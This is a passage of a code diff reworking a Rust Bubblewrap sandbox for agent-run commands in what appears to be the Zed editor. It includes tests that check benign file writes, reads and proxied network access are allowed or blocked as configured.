+    fn run_read(policy: &SandboxPolicy, path: &str) -> Result<bool> {
+        let path = Path::new(path);
+        if let Some(parent) = path.parent() {
+            std::fs::create_dir_all(parent)
+                .with_context(|| format!("failed to create parent of {}", path.display()))?;
+        }
+        std::fs::write(path, b"sandbox-test\n")
+            .with_context(|| format!("failed to seed readable file {}", path.display()))?;
+
+        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        run_command(
+            &mut sandbox,
+            "sh",
+            &["-c", &format!("cat {}", shell_quote(path))],
+        )
+    }
+
+    /// Attempt to write a host file from inside the sandbox. "Succeeded" means
+    /// the command exited 0 *and* the bytes actually landed on the host file —
+    /// a write that only hits the sandbox's ephemeral tmpfs counts as blocked,
+    /// since it never escaped the sandbox.
+    fn run_write(policy: &SandboxPolicy, path: &str) -> Result<bool> {
+        let path = Path::new(path);
+        if let Some(parent) = path.parent() {
+            // Create the parent on the host so the only thing under test is the
+            // sandbox's write permission, not a missing directory.
+            std::fs::create_dir_all(parent)
+                .with_context(|| format!("failed to create parent of {}", path.display()))?;
+        }
+        // Start from a clean slate so `exists()` afterwards is meaningful.
+        let _ = std::fs::remove_file(path);
+
+        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        let command_ok = run_command(
+            &mut sandbox,
             "sh",
-            &["-c".to_string(), script.to_string()],
-            writable_dirs,
-            None,
-            permissions,
+            &[
+                "-c",
+                &format!("printf sandbox-test > {}", shell_quote(path)),
+            ],
+        )?;
+        Ok(command_ok && path.exists())
+    }
+
+    /// Connect to `host` (`hostname` or `hostname:port`) from inside the
+    /// sandbox via the `__echo_check` subcommand, which honors `HTTP_PROXY` for
+    /// the restricted-network case.
+    fn run_network(policy: &SandboxPolicy, host: &str, echo_port: &str) -> Result<bool> {
+        let target = if host.contains(':') {
+            host.to_string()
+        } else {
+            format!("{host}:{echo_port}")
+        };
+        let exe = current_exe_str()?;
+        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        run_command(&mut sandbox, &exe, &[SUBCOMMAND_ECHO_CHECK, &target])
+    }
+
+    fn error_matches(error: &SandboxError, expected: &str) -> bool {
+        matches!(
+            (error, expected),
+            (SandboxError::BwrapNotFound, "bwrap_not_found")
+                | (SandboxError::BwrapSetuidRejected, "setuid_rejected")
+                | (SandboxError::SandboxProbeFailed, "probe_failed")
         )
     }
 
+    fn sandbox_err(error: SandboxError) -> anyhow::Error {
+        anyhow::anyhow!("failed to create sandbox: {error}")
+    }
+
+    /// Inner command: prove (or fail to prove) reachability of an echo server.
+    ///
+    /// With `HTTP_PROXY` set we open an HTTP `CONNECT` tunnel through the proxy
+    /// and then echo a byte; a policy denial shows up as a non-200 status. With
+    /// no proxy we connect directly. Either way, a clean round-trip means the
+    /// destination was reachable under the active network policy.
+    fn run_echo_check(target: Option<&str>) -> Result<()> {
+        let target = target.context("echo check requires a host:port argument")?;
+        let proxy = std::env::var("HTTP_PROXY")
+            .ok()
+            .filter(|value| !value.trim().is_empty())
+            .or_else(|| {
+                std::env::var("http_proxy")
+                    .ok()
+                    .filter(|value| !value.trim().is_empty())
+            });
+
+        let mut stream = match proxy {
+            Some(proxy_url) => {
+                let proxy_addr = proxy_url
+                    .trim()
+                    .strip_prefix("http://")
+                    .unwrap_or(proxy_url.trim())
+                    .trim_end_matches('/')
+                    .to_string();
+                let mut stream = TcpStream::connect(&proxy_addr)
+                    .with_context(|| format!("failed to connect to proxy {proxy_addr}"))?;
+                stream.set_read_timeout(Some(Duration::from_secs(10)))?;
+                write!(
+                    stream,
+                    "CONNECT {target} HTTP/1.1\r\nHost: {target}\r\n\r\n"
+                )
+                .context("failed to send CONNECT to proxy")?;
+                let status = read_status_line(&mut stream)?;
+                if !status.contains(" 200") {
+                    bail!("proxy refused CONNECT to {target}: {status:?}");
+                }
+                stream
+            }
+            None => {
+                let stream = TcpStream::connect(target)
+                    .with_context(|| format!("failed to connect to {target}"))?;
+                stream.set_read_timeout(Some(Duration::from_secs(10)))?;
+                stream
+            }
+        };
+
+        stream
+            .write_all(b"ping\n")
+            .context("failed to write to echo server")?;
+        let mut buffer = [0u8; 32];
+        let read = stream
+            .read(&mut buffer)
+            .context("failed to read from echo server")?;
+        let echoed = String::from_utf8_lossy(&buffer[..read]);
+        if echoed.contains("ping") {
+            Ok(())
+        } else {
+            bail!("echo server returned unexpected data: {echoed:?}");
+        }
+    }
+
+    /// Read an HTTP status line (up to the first CRLF), then drain the rest of
+    /// the header block (up to the blank line) so the stream is positioned at
+    /// the tunneled body.
+    fn read_status_line(stream: &mut TcpStream) -> Result<String> {
+        let mut header = Vec::new();
+        let mut byte = [0u8; 1];
+        loop {
+            let read = stream
+                .read(&mut byte)
+                .context("failed reading proxy reply")?;
+            if read == 0 {
+                break;
+            }
+            header.push(byte[0]);
+            if header.ends_with(b"\r\n\r\n") {
+                break;
+            }
+            if header.len() > 64 * 1024 {
+                bail!("proxy reply headers too large");
+            }
+        }
+        let text = String::from_utf8_lossy(&header);
+        Ok(text.lines().next().unwrap_or_default().to_string())
+    }
+
     /// Tracks assertion results so we can report a summary and a single exit code.
     struct Checks {
         passed: usize,
@@ -190,314 +444,17 @@ mod imp {
         }
     }
 
-    fn run_tests() -> Result<()> {
-        let expect_enforced = std::env::var("ZED_TEST_SANDBOX_ENFORCED").unwrap_or_default() == "1";
-        let echo_address = std::env::var("ZED_TEST_ECHO_ADDR").ok();
-        let expected_degrade_status = std::env::var("ZED_TEST_EXPECTED_DEGRADE_STATUS").ok();
-
-        println!(
-            "[sandbox_test]: starting (expect_enforced={expect_enforced}, echo={echo_address:?}, \
-             expected_degrade={expected_degrade_status:?})"
-        );
-
-        // A host scratch tree the sandbox tests write into. Kept outside `/tmp`
-        // because the sandbox overlays a fresh tmpfs there, which would mask
-        // whether writes really hit (or were blocked from hitting) the host.
-        let base = PathBuf::from(format!("/sandbox-test-{}", std::process::id()));
-        let writable = base.join("writable");
-        let forbidden = base.join("forbidden");
-        let readable = base.join("readable");
-        std::fs::create_dir_all(&writable).context("failed to create writable scratch dir")?;
-        std::fs::create_dir_all(&forbidden).context("failed to create forbidden scratch dir")?;
-        std::fs::create_dir_all(&readable).context("failed to create readable scratch dir")?;
-        let _cleanup = Cleanup(base);
-
-        if expect_enforced {
-            run_enforced_tests(&writable, &forbidden, &readable, echo_address.as_deref())
-        } else {
-            // Outside the enforced scenario, the sandbox could not be set up. The
-            // scenario tells us *why* so we can assert the exact reported status.
-            let expected = match expected_degrade_status.as_deref() {
-                Some("bwrap_not_found") => LauncherStatus::BwrapNotFound,
-                Some("probe_failed") => LauncherStatus::SandboxProbeFailed,
-                other => bail!(
-                    "ZED_TEST_EXPECTED_DEGRADE_STATUS must be `bwrap_not_found` or \
-                     `probe_failed`, got {other:?}"
-                ),
-            };
-            run_degraded_tests(&forbidden, expected)
-        }
-    }
-
-    /// Enforced scenario: unprivileged user namespaces are available and `bwrap`
-    /// is present, so the sandbox must actually be enforced. We assert, for every
-    /// access the sandbox is supposed to *grant*, that it really is granted, and
-    /// for every restriction it is supposed to *impose*, that it really holds.
-    fn run_enforced_tests(
-        writable: &Path,
-        forbidden: &Path,
-        readable: &Path,
-        echo_address: Option<&str>,
-    ) -> Result<()> {
-        // First confirm this environment can enforce a sandbox at all. Nested
-        // virtualization quirks can leave a VM unable to set up user namespaces
-        // even when we expected it to; in that case skip (rather than fail) the
-        // enforcement assertions, which would otherwise be testing nothing.
-        let probe = drive_launcher("true", &[], &[], None, SandboxPermissions::default())?;
-        if probe.status != Some(LauncherStatus::Success) {
-            println!(
-                "[sandbox_test]: SKIP: this environment cannot enforce a bwrap sandbox \
-             (probe status: {:?})",
-                probe.status
-            );
-            return Ok(());
-        }
-
-        let default = SandboxPermissions::default();
-        let fs_write_all = SandboxPermissions {
-            allow_network: false,
-            allow_fs_write: true,
-        };
-        let network_allowed = SandboxPermissions {
-            allow_network: true,
-            allow_fs_write: false,
-        };
-        let mut checks = Checks::new();
-
-        // GRANT: writing into a writable bind succeeds and lands on the host file.
-        let writable_file = writable.join("from-sandbox.txt");
-        let write_writable = run_in_sandbox(
-            &format!("echo zed > {}", shell_quote(&writable_file)),
-            &[writable],
-            default,
-        )?;
-        checks.check(
-            "GRANT: write into a writable dir succeeds",
-            write_writable.command_succeeded,
-        );
-        checks.check(
-            "GRANT: write into a writable dir lands on the host",
-            writable_file.exists(),
-        );
-        checks.check(
-            "default run reports Success",
-            write_writable.status == Some(LauncherStatus::Success),
-        );
-
-        // RESTRICT: writing outside any writable bind is denied by the read-only
-        // root, and must not leak to the host.
-        let forbidden_file = forbidden.join("escaped.txt");
-        let write_forbidden = run_in_sandbox(
-            &format!("echo zed > {}", shell_quote(&forbidden_file)),
-            &[],
-            default,
-        )?;
-        checks.check(
-            "RESTRICT: write outside writable dirs is denied",
-            !write_forbidden.command_succeeded,
-        );
-        checks.check(
-            "RESTRICT: denied write did not leak to the host",
-            !forbidden_file.exists(),
-        );
-
-        // GRANT: the whole filesystem is readable (root is bound read-only), so a
-        // host file outside every writable dir can still be read.
-        let readable_file = readable.join("host-data.txt");
-        std::fs::write(&readable_file, "host data").context("failed to seed readable file")?;
-        let read_host = run_in_sandbox(
-            &format!("cat {}", shell_quote(&readable_file)),
-            &[],
-            default,
-        )?;
-        checks.check(
-            "GRANT: host files outside writable dirs are still readable",
-            read_host.command_succeeded,
-        );
-
-        // GRANT + RESTRICT: `/tmp` is a writable tmpfs, but it is ephemeral and
-        // must not leak to the host's real `/tmp`.
-        let tmp_path = PathBuf::from(format!("/tmp/zed-sandbox-ephemeral-{}", std::process::id()));
-        let write_tmp = run_in_sandbox(
-            &format!("echo zed > {}", shell_quote(&tmp_path)),
-            &[],
-            default,
-        )?;
-        checks.check(
-            "GRANT: writing to /tmp succeeds",
-            write_tmp.command_succeeded,
-        );
-        checks.check(
-            "RESTRICT: /tmp writes are ephemeral (do not leak to the host)",
-            !tmp_path.exists(),
-        );
-
-        // RESTRICT + GRANT: outbound TCP is denied by the network namespace, but
-        // works when network access is explicitly granted (the latter also proves
-        // the peer is reachable, so the denial is the sandbox's doing).
-        if let Some(echo_address) = echo_address {
-            let net_denied = drive_launcher(
-                &current_exe_str()?,
-                &[SUBCOMMAND_NET_CHECK.to_string(), echo_address.to_string()],
-                &[],
-                None,
-                default,
-            )?;
-            checks.check(
-                "RESTRICT: outbound TCP is blocked when network is denied",
-                !net_denied.command_succeeded,
-            );
-
-            let net_allowed = drive_launcher(
-                &current_exe_str()?,
-                &[SUBCOMMAND_NET_CHECK.to_string(), echo_address.to_string()],
-                &[],
-                None,
-                network_allowed,
-            )?;
-            checks.check(
-                "GRANT: outbound TCP works when network is allowed",
-                net_allowed.command_succeeded,
-            );
-        } else {
-            println!("[sandbox_test]: SKIP: no ZED_TEST_ECHO_ADDR; skipping network checks");
-        }
-
-        // GRANT: local AF_UNIX IPC keeps working even while IP networking is
-        // denied.
-        let unix_ok = drive_launcher(
-            &current_exe_str()?,
-            &[SUBCOMMAND_UNIX_CHECK.to_string()],
-            &[],
-            None,
-            default,
-        )?;
-        checks.check(
-            "GRANT: AF_UNIX sockets still work while network is denied",
-            unix_ok.command_succeeded,
-        );
-
-        // GRANT (escape hatch): `allow_fs_write` lets the command write anywhere,
-        // and the write reaches the host.
-        let escape_file = forbidden.join("escape-hatch.txt");
-        let write_escape = run_in_sandbox(
-            &format!("echo zed > {}", shell_quote(&escape_file)),
-            &[],
-            fs_write_all,
-        )?;
-        checks.check(
-            "GRANT: allow_fs_write lets the command write outside writable dirs",
-            write_escape.command_succeeded,
-        );
-        checks.check(
-            "GRANT: allow_fs_write write lands on the host",
-            escape_file.exists(),
-        );
-        checks.check(
-            "allow_fs_write run reports Success",
-            write_escape.status == Some(LauncherStatus::Success),
-        );
-
-        // RESTRICT: permissions are independent — granting filesystem writes must
-        // not also grant network access.
-        if let Some(echo_address) = echo_address {
-            let net_with_fs_write = drive_launcher(
-                &current_exe_str()?,
-                &[SUBCOMMAND_NET_CHECK.to_string(), echo_address.to_string()],
-                &[],
-                None,
-                fs_write_all,
-            )?;
-            checks.check(
-                "RESTRICT: allow_fs_write does not also grant network access",
-                !net_with_fs_write.command_succeeded,
-            );
-        }
-
-        // RESTRICT: a setuid-root bwrap must be refused, and the launcher must
-        // abort (not run the command). We run as root in the VM, so we can build
-        // one.
-        check_setuid_rejected(&mut checks)?;
-
-        checks.finish()
-    }
-
-    /// Degraded scenario: the sandbox could not be set up (user namespaces
-    /// disabled, or no `bwrap` present). The launcher must report the specific
-    /// reason *and abort* — it never runs the command unsandboxed. (Falling back
-    /// to an unsandboxed run is the consumer's choice; the launcher, and these
-    /// tests, fail closed.)
-    fn run_degraded_tests(forbidden: &Path, expected_status: LauncherStatus) -> Result<()> {
-        let mut checks = Checks::new();
-
-        let forbidden_file = forbidden.join("degraded.txt");
-        let result = run_in_sandbox(
-            &format!("echo zed > {}", shell_quote(&forbidden_file)),
-            &[],
-            SandboxPermissions::default(),
-        )?;
-
-        checks.check(
-            &format!("reports {expected_status:?} when the sandbox can't be created"),
-            result.status == Some(expected_status),
-        );
-        // Fail closed: the launcher aborted, so the command did not run and the
-        // otherwise-forbidden write never happened.
-        checks.check(
-            "command does not run when the sandbox can't be created (fail-closed)",
-            !result.command_succeeded && !forbidden_file.exists(),
-        );
-
-        checks.finish()
-    }
-
-    /// Build a setuid-root copy of `bwrap`, put it alone on `PATH`, and assert the
-    /// launcher refuses to run it (reporting `SetuidRejected`) and aborts without
-    /// running the command.
-    fn check_setuid_rejected(checks: &mut Checks) -> Result<()> {
-        let Some(real_bwrap) = find_on_path("bwrap") else {
-            println!("[sandbox_test]: SKIP: no bwrap on PATH; skipping setuid rejection check");
-            return Ok(());
+    /// Wrap and run a command inside `sandbox`, returning whether it exited 0.
+    fn run_command(sandbox: &mut Sandbox, program: &str, args: &[&str]) -> Result<bool> {
+        let command = CommandAndArgs {
+            program: program.to_string(),
+            args: args.iter().map(|arg| arg.to_string()).collect(),
+            env: Default::default(),
+            cwd: None,
         };
-
-        let dir = PathBuf::from(format!("/sandbox-test-setuid-{}", std::process::id()));
-        std::fs::create_dir_all(&dir).context("failed to create setuid test dir")?;
-        let _cleanup = Cleanup(dir.clone());
-        let fake_bwrap = dir.join("bwrap");
-        std::fs::copy(&real_bwrap, &fake_bwrap).context("failed to copy bwrap")?;
-
-        // chown root (we are root) and set the setuid bit: 04755.
-        use std::os::unix::fs::PermissionsExt as _;
-        std::fs::set_permissions(&fake_bwrap, std::fs::Permissions::from_mode(0o4755))
-            .context("failed to set setuid bit on fake bwrap")?;
-
-        // Make the setuid copy the *only* bwrap visible, so the launcher can't fall
-        // back to a different one.
-        let previous_path = std::env::var_os("PATH");
-        // SAFETY: the helper is single-threaded here.
-        unsafe {
-            std::env::set_var("PATH", &dir);
-        }
-        let result = drive_launcher("true", &[], &[], None, SandboxPermissions::default());
-        // SAFETY: still single-threaded; restore PATH regardless of the outcome.
-        unsafe {
-            match previous_path {
-                Some(path) => std::env::set_var("PATH", path),
-                None => std::env::remove_var("PATH"),
-            }
-        }
-        let result = result?;
-
-        checks.check(
-            "a setuid-root bwrap is rejected",
-            result.status == Some(LauncherStatus::SetuidRejected),
-        );
-        checks.check(
-            "command does not run after rejecting setuid bwrap (fail-closed)",
-            !result.command_succeeded,
-        );
-
-        Ok(())
+        let output = futures::executor::block_on(sandbox.execute(&command))
+            .map_err(|error| anyhow::anyhow!("failed to run sandboxed command: {error}"))?;
+        Ok(output.status.success())
     }
 
     fn current_exe_str() -> Result<String> {
@@ -508,26 +465,9 @@ mod imp {
             .to_string())
     }
 
-    /// Find an executable named `name` by walking `PATH`.
-    fn find_on_path(name: &str) -> Option<PathBuf> {
-        let path = std::env::var_os("PATH")?;
-        std::env::split_paths(&path)
-            .map(|directory| directory.join(name))
-            .find(|candidate| candidate.is_file())
-    }
-
     /// Single-quote a path for safe interpolation into an `sh -c` script.
     fn shell_quote(path: &Path) -> String {
         let raw = path.to_string_lossy();
         format!("'{}'", raw.replace('\'', "'\\''"))
     }
-
-    /// Removes a directory tree on drop, so scratch dirs don't pile up across runs.
-    struct Cleanup(PathBuf);
-
-    impl Drop for Cleanup {
-        fn drop(&mut self) {
-            let _ = std::fs::remove_dir_all(&self.0);
-        }
-    }
 }
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index d20790b6f3f21a..781a90f84df889 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -1,103 +1,87 @@
-//! Linux sandbox integration built on Bubblewrap (`bwrap`) for both the
-//! filesystem and the network.
+//! Linux sandbox integration built on Bubblewrap (`bwrap`) for filesystem and
+//! network confinement.
 //!
-//! `bwrap` is an unprivileged container launcher: it sets up mount, user,
-//! pid, and other namespaces, bind-mounts the host filesystem (read-only by
-//! default, read-write for an explicit set of directories), then `exec`s the
-//! wrapped command inside that view. Network access can be wholly
-//! enabled/disabled using `--unshare-net`. More granular access will require
-//! seccomp.
+//! We can use `--bind` and `--ro-bind` (read-only) to bind host filesystem
+//! paths to paths in the sandbox. If networking is restricted, we also set
+//! `--unshare-net` to disable *all* network access.
 //!
-//! ## The launcher
+//! When restricting network access, we:
+//! - set `--unshare-net` - any requests to `example.com` will fail
+//!   - requests to `localhost` will succeed, but it will be an isolated localhost
+//!     from the host system.
+//! - create a unix socket, and mount it in the sandbox with `--bind`
+//! - run a bridge process inside the sandbox that:
+//!   - listens on `localhost:<port>` and forwards reads/writes to the socket
+//!   - then, runs the untrusted command
+//! - on the zed side, we listen to the socket and forward reads/writes to the
+//!   internal HTTP proxy
 //!
-//! We fork/exec the running zed binary because:
-//! - previously we used landlock, which can only restrict the *current
-//!   process*, so we need a subprocess running our code to restrict.
-//! - seccomp is similar, and while we don't have that yet, we will in the
-//!   future, so we keep the machinery for now.
+//! If networking is fully blocked or fully allowed, we don't bother with the
+//! proxy/socket at all (and simply set/unset `--unshare-net`).
 //!
-//! This approach also avoids `pre_exec`, which is scary.
-//!
-//! ## Status reporting
-//!
-//! There are three possible error cases relating to sandboxing:
-//! - there is no `bwrap` on the path
-//! - there is a `bwrap` on the path, but it's a setuid binary (which we reject
-//!   for security reasons)
-//! - there is a `bwrap` on the path, but it fails to create the sandbox (see
-//!   [`probe_bwrap`]).
-//!
-//! If one of these happens, we report it back to the parent over a `SOCK_DGRAM`
-//! and then *abort*: the launcher never runs the command unsandboxed on its own.
-//! What to do about a failure is the caller's decision — the agent currently
-//! fails open (re-runs the command without a sandbox and tells the model so via
-//! [`check_can_create_sandbox`]), while the NixOS tests fail closed (treat it as
-//! a hard error). There's no UI for the agent's fallback yet; that's coming
-//! soon.
+//! This design for networking avoids needing seccomp, a fork/exec dance, and
+//! eliminates a race condition involving BPF user notifications.
 
+use anyhow::{Context as _, Result, anyhow, bail};
 use std::ffi::OsString;
-use std::os::linux::net::SocketAddrExt as _;
+use std::io::{Read, Write};
+use std::net::{Ipv4Addr, Shutdown, TcpListener, TcpStream};
 use std::os::unix::fs::MetadataExt as _;
-use std::os::unix::net::{SocketAddr, UnixDatagram};
-use std::os::unix::process::CommandExt as _;
+use std::os::unix::net::UnixStream;
+use std::os::unix::process::ExitStatusExt as _;
 use std::path::{Path, PathBuf};
 use std::process::{Command, Stdio};
 use std::sync::atomic::{AtomicU64, Ordering};
-use std::time::Duration;
+use std::thread;
 
-use anyhow::{Context as _, Result, anyhow, bail};
+const BRIDGE_FLAG: &str = "--zed-linux-sandbox-bridge";
+const PROXY_SOCKET_SANDBOX_PATH_PREFIX: &str = "/tmp/zed-sandbox";
+const SANDBOX_SETUP_FAILED_EXIT_CODE: i32 = 126;
+const PUMP_BUFFER_SIZE: usize = 64 * 1024;
 
-use crate::SandboxPermissions;
+/// Network-access setting for a sandboxed command.
+///
+/// Mirrors [`crate::macos_seatbelt::NetworkAccess`] so Linux and macOS expose
+/// the same public shape.
+#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
+pub enum NetworkAccess {
+    /// All outbound network blocked (own network namespace).
+    #[default]
+    None,
+    /// Outbound HTTP(S) is available through a loopback proxy port inside the
+    /// sandbox. The port is bridged to a host-side Unix socket proxy that
+    /// enforces the hostname allowlist.
+    LocalhostPort(u16),
+    /// All outbound network allowed.
+    All,
+}
 
-/// The outcome a sandbox launcher reports back to the process that spawned it.
+/// Per-command relaxations of the default Bubblewrap (Linux) sandbox.
 ///
-/// Only [`Success`](LauncherStatus::Success) means the command actually ran
-/// fully sandboxed; every other variant means the launcher could not enforce
-/// the sandbox and ran the command without one (with the reason reported here).
+/// Mirrors [`crate::macos_seatbelt::SandboxPermissions`].
+#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
+pub struct SandboxPermissions {
+    /// Network access policy for the command.
+    pub network: NetworkAccess,
+    /// Allow unrestricted filesystem writes.
+    pub allow_fs_write: bool,
+}
+
+/// The outcome of preparing a Linux sandbox.
 #[derive(Clone, Copy, Debug, Eq, PartialEq)]
 pub enum LauncherStatus {
-    /// The sandbox was fully enforced: `bwrap` filesystem and (when requested)
-    /// network isolation.
-    Success,
     /// No usable `bwrap` binary was found on `PATH` (or bundled).
     BwrapNotFound,
     /// The only `bwrap` found is setuid-root, which we refuse to execute.
     SetuidRejected,
-    /// `bwrap` is present but failed to set up the sandbox with our arguments
-    /// (typically because unprivileged user namespaces are disabled).
+    /// `bwrap` is present but failed to set up the sandbox with our arguments.
     SandboxProbeFailed,
 }
 
 impl LauncherStatus {
-    fn to_byte(self) -> u8 {
-        match self {
-            LauncherStatus::Success => 0,
-            LauncherStatus::BwrapNotFound => 1,
-            LauncherStatus::SetuidRejected => 2,
-            LauncherStatus::SandboxProbeFailed => 3,
-        }
-    }
-
-    fn from_byte(byte: u8) -> Option<Self> {
-        match byte {
-            0 => Some(LauncherStatus::Success),
-            1 => Some(LauncherStatus::BwrapNotFound),
-            2 => Some(LauncherStatus::SetuidRejected),
-            3 => Some(LauncherStatus::SandboxProbeFailed),
-            _ => None,
-        }
-    }
-
-    /// Whether the command ran fully sandboxed.
-    pub fn is_success(self) -> bool {
-        matches!(self, LauncherStatus::Success)
-    }
-
-    /// A human-readable explanation suitable for a `log::warn` on a non-success
-    /// outcome.
+    /// A human-readable explanation suitable for diagnostics.
     pub fn describe(self) -> &'static str {
         match self {
-            LauncherStatus::Success => "the sandbox was created",
             LauncherStatus::BwrapNotFound => "no usable `bwrap` binary was found on PATH",
             LauncherStatus::SetuidRejected => {
                 "the only available `bwrap` is setuid-root, which Zed refuses to run"
@@ -110,69 +94,6 @@ impl LauncherStatus {
     }
 }
 
-/// A one-shot datagram socket the spawning process binds so a launcher can
-/// report its [`LauncherStatus`] back.
-///
-/// Uses a Linux *abstract* `AF_UNIX` address (no filesystem entry to create,
-/// permission, or clean up). A connectionless `SOCK_DGRAM` socket is all we
-/// need here: the launcher sends exactly one datagram and the parent receives
-/// it once. Because the socket is bound before the launcher is spawned, the
-/// kernel queues the datagram even if it arrives before [`recv`](Self::recv)
-/// is called.
-pub struct StatusChannel {
-    socket: UnixDatagram,
-    name: String,
-}
-
-impl StatusChannel {
-    /// Bind a fresh status channel with a unique abstract address.
-    pub fn bind() -> Result<Self> {
-        let name = unique_socket_name();
-        let address = SocketAddr::from_abstract_name(name.as_bytes())
-            .context("failed to build abstract socket address")?;
-        let socket =
-            UnixDatagram::bind_addr(&address).context("failed to bind sandbox status socket")?;
-        Ok(Self { socket, name })
-    }
-
-    /// The abstract address to hand to the launcher (see [`wrap_invocation`]).
-    pub fn name(&self) -> &str {
-        &self.name
-    }
-
-    /// Wait up to `timeout` for the launcher's one-shot status datagram.
-    ///
-    /// Returns `None` if nothing arrived in time, or the launcher exited /
-    /// `exec`ed without reporting (in which case the sandbox state is unknown).
-    pub fn recv(self, timeout: Duration) -> Option<LauncherStatus> {
-        self.socket.set_read_timeout(Some(timeout)).ok()?;
-        let mut byte = [0u8; 1];
-        let count = self.socket.recv(&mut byte).ok()?;
-        if count == 0 {
-            return None;
-        }
-        LauncherStatus::from_byte(byte[0])
-    }
-}
-
-/// A process-unique abstract socket name. The pid plus a monotonically
-/// increasing counter and the current time make collisions between concurrent
-/// launches (and between Zed instances) effectively impossible.
-fn unique_socket_name() -> String {
-    static COUNTER: AtomicU64 = AtomicU64::new(0);
-    let counter = COUNTER.fetch_add(1, Ordering::Relaxed);
-    let nanos = std::time::SystemTime::now()
-        .duration_since(std::time::UNIX_EPOCH)
-        .map(|duration| duration.as_nanos())
-        .unwrap_or(0);
-    format!(
-        "zed-sandbox-status-{}-{}-{}",
-        std::process::id(),
-        nanos,
-        counter
-    )
-}
-
 /// Where a `bwrap` lookup ended up.
 enum BwrapLocation {
     /// A usable, non-setuid `bwrap` binary.
@@ -183,14 +104,6 @@ enum BwrapLocation {
     NotFound,
 }
 
-/// Locate a usable `bwrap` binary, preferring one on `PATH` and falling back to
-/// a binary bundled with the application.
-///
-/// We refuse setuid-root binaries (see [`is_setuid_root`]); if the only
-/// candidates are setuid we report [`BwrapLocation::OnlySetuid`] separately
-/// from "not found" so the user gets an accurate explanation.
-///
-/// This runs once per launcher process, so it is intentionally not cached.
 fn locate_bwrap() -> BwrapLocation {
     let mut saw_setuid = false;
     for candidate in candidate_bwrap_paths() {
@@ -210,8 +123,6 @@ fn locate_bwrap() -> BwrapLocation {
     }
 }
 
-/// `bwrap` candidates in priority order: a system binary on `PATH` first, then
-/// a binary bundled with the application.
 fn candidate_bwrap_paths() -> Vec<PathBuf> {
     let mut candidates = Vec::new();
     if let Some(system) = system_bwrap_path() {
@@ -223,7 +134,6 @@ fn candidate_bwrap_paths() -> Vec<PathBuf> {
     candidates
 }
 
-/// The first `bwrap` found by walking `PATH`, if any.
 fn system_bwrap_path() -> Option<PathBuf> {
     let path = std::env::var_os("PATH")?;
     std::env::split_paths(&path)
@@ -231,23 +141,10 @@ fn system_bwrap_path() -> Option<PathBuf> {
         .find(|candidate| candidate.is_file())
 }
 
-/// Path to a `bwrap` binary bundled alongside the application, if one ships.
-///
-/// Bundling a statically linked, non-setuid `bwrap` is not yet wired up, so
-/// this returns `None` for now and only system binaries are used.
 fn bundled_bwrap_path() -> Option<PathBuf> {
     None
 }
 
-/// Whether `path` is a setuid-root binary.
-///
-/// We refuse to use (or even probe) such a binary: our sandbox is built
-/// entirely on unprivileged user namespaces, so a setuid `bwrap` buys no
-/// functionality, and *running* one would mean executing root-privileged setup
-/// with argv partly derived from model-influenced input — a
-/// privilege-escalation surface. Rejecting it keeps the whole pipeline
-/// unprivileged and means a planted setuid binary earlier on `PATH` can't trick
-/// us into executing it.
 fn is_setuid_root(path: &Path) -> bool {
     match std::fs::metadata(path) {
         Ok(metadata) => (metadata.mode() & libc::S_ISUID != 0) && metadata.uid() == 0,
@@ -255,16 +152,9 @@ fn is_setuid_root(path: &Path) -> bool {
     }
 }
 
-/// Run `bwrap <args> -- true` and report whether it succeeded, i.e. whether
-/// this environment can actually set up the sandbox we're about to use.
-///
-/// Probing with the *exact* argument list we'll `exec` (rather than a minimal
-/// canned one) means we catch failures specific to this command's policy —
-/// e.g. a writable bind that can't be mounted — not just whether user
-/// namespaces work at all.
 #[allow(
     clippy::disallowed_methods,
-    reason = "the launcher is a short-lived, single-threaded process that must block on the probe child"
+    reason = "the probe is a short-lived background operation that must block on bwrap"
 )]
 fn probe_bwrap(bwrap: &Path, bwrap_args: &[String]) -> bool {
     Command::new(bwrap)
@@ -282,36 +172,36 @@ fn probe_bwrap(bwrap: &Path, bwrap_args: &[String]) -> bool {
 /// Build the `bwrap` argument list (everything after the `bwrap` program and
 /// before the trailing `-- <command>`) for the given policy.
 ///
-/// The default view binds the whole filesystem read-only, overlays fresh
-/// `/dev` and `/proc`, mounts an ephemeral `tmpfs` over `/tmp` (so programs
-/// that hardcode `/tmp` have somewhere to write without touching the host's
-/// `/tmp`), then binds each writable directory read-write on top. When
-/// `permissions.allow_fs_write` is set the root is bound read-write instead
-/// and these overlays/binds are omitted. When `permissions.allow_network` is
-/// false the command is placed in its own network namespace (`--unshare-net`),
-/// leaving it with only loopback and no route out.
-///
-/// `writable_directories` should be the project's worktree paths (plus any
-/// user-approved paths), *not* the command's working directory, which is
-/// model-controlled and would let the model widen its own writable scope.
-///
-/// `protected_paths` are paths whose contents must stay inaccessible even when
-/// they sit under a writable directory or the root is bound read-write (e.g.
-/// `.git` metadata when Git access hasn't been approved). Each is shadowed: a
-/// directory with an ephemeral `tmpfs` (real contents hidden, writes land in
-/// throwaway storage) and a file with an empty read-only bind of `/dev/null`.
-///
-/// `allowed_unix_socket_paths` are Unix domain sockets to re-expose on top of
-/// any overlay that would otherwise hide them (notably `--tmpfs /tmp`), so
-/// local IPC such as the inherited SSH agent socket keeps working. AF_UNIX
-/// connectivity is unaffected by `--unshare-net`, so this grants no IP network
-/// access.
+/// `proxy_socket_path` is the host pathname Unix socket used for
+/// [`NetworkAccess::LocalhostPort`]. It is bind-mounted to a unique path inside
+/// the sandbox where the bridge connects to it.
 pub fn build_bwrap_args(
     writable_directories: &[&Path],
-    protected_paths: &[&Path],
-    allowed_unix_socket_paths: &[&Path],
+    protected_git_dirs: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
+    proxy_socket_path: Option<&Path>,
+) -> Vec<String> {
+    let proxy_socket_sandbox_path = proxy_socket_path
+        .filter(|_| matches!(permissions.network, NetworkAccess::LocalhostPort(_)))
+        .map(|_| unique_proxy_socket_sandbox_path());
+    build_bwrap_args_with_proxy_socket_sandbox_path(
+        writable_directories,
+        protected_git_dirs,
+        permissions,
+        cwd,
+        proxy_socket_path,
